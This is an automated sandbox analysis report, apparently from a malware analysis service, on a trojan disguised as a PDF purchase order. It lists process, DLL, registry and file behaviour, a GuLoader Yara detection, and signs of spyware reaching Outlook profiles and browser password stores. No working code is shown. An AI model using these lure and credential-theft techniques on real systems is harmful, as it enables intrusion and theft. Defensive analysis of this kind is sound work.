Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593A360	3_2_3593A360
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593BA99	3_2_3593BA99
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35934DB2	3_2_35934DB2
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35934DB0	3_2_35934DB0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593BDE9	3_2_3593BDE9
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35939D00	3_2_35939D00
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35939D04	3_2_35939D04
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35939D0D	3_2_35939D0D
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35932550	3_2_35932550
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35932560	3_2_35932560
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35931CB0	3_2_35931CB0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35931CA0	3_2_35931CA0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359374C4	3_2_359374C4
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359374C8	3_2_359374C8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35936C18	3_2_35936C18
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35931400	3_2_35931400
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359367B0	3_2_359367B0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359367BC	3_2_359367BC
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35930FA8	3_2_35930FA8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359367C0	3_2_359367C0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593AFF8	3_2_3593AFF8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35935F10	3_2_35935F10
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35933F70	3_2_35933F70
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35933F60	3_2_35933F60
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359336B0	3_2_359336B0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359396B8	3_2_359396B8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359336C0	3_2_359336C0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359396C4	3_2_359396C4
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35932E10	3_2_35932E10
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593565F	3_2_3593565F
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35938642	3_2_35938642
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35938647	3_2_35938647
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593864C	3_2_3593864C
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35935660	3_2_35935660
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359329B8	3_2_359329B8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593A9A9	3_2_3593A9A9
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359329A8	3_2_359329A8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359351F8	3_2_359351F8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35932108	3_2_35932108
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593F130	3_2_3593F130
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593F129	3_2_3593F129
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359320F8	3_2_359320F8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593481C	3_2_3593481C
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35930036	3_2_35930036
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35934820	3_2_35934820
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35931858	3_2_35931858
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35930040	3_2_35930040
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35937070	3_2_35937070
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359343B9	3_2_359343B9
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359343C8	3_2_359343C8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_359313F0	3_2_359313F0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35933B18	3_2_35933B18
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35933B08	3_2_35933B08
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35937B52	3_2_35937B52
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593A351	3_2_3593A351
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_3593A35C	3_2_3593A35C
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35937B62	3_2_35937B62
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35936364	3_2_35936364
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35936368	3_2_35936368
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35935AB4	3_2_35935AB4
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35935AB8	3_2_35935AB8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35935207	3_2_35935207
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35935208	3_2_35935208
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35933258	3_2_35933258
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35933268	3_2_35933268
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35E6E7C8	3_2_35E6E7C8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35E6D608	3_2_35E6D608
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_35E68328	3_2_35E68328

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Code function: String function: 00402BBF appears 51 times

Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PURCHASE ORDER TRC-090971819130-24_pdf.exe
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312085003.00000000329B7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs PURCHASE ORDER TRC-090971819130-24_pdf.exe

Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@6/5

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 0_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_004032A0

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Code function: 0_2_004045B4 GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,LdrInitializeThunk,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045B4

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Code function: 0_2_00402095 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

0_2_00402095

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens

Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsd50D3.tmp

Jump to behavior

Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3313828525.0000000033B9D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032C88000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032C73000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032C65000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032C94000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032C55000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe

ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

File read: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe "C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process created: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe "C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process created: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe "C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Benchership141.lnk.0.dr

LNK file: ..\..\..\mindevrdigt\boghandlermedhjlperens.tor

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2205388503.0000000002BCC000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Code function: 0_2_10002DE0 push eax; ret

0_2_10002E0E

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
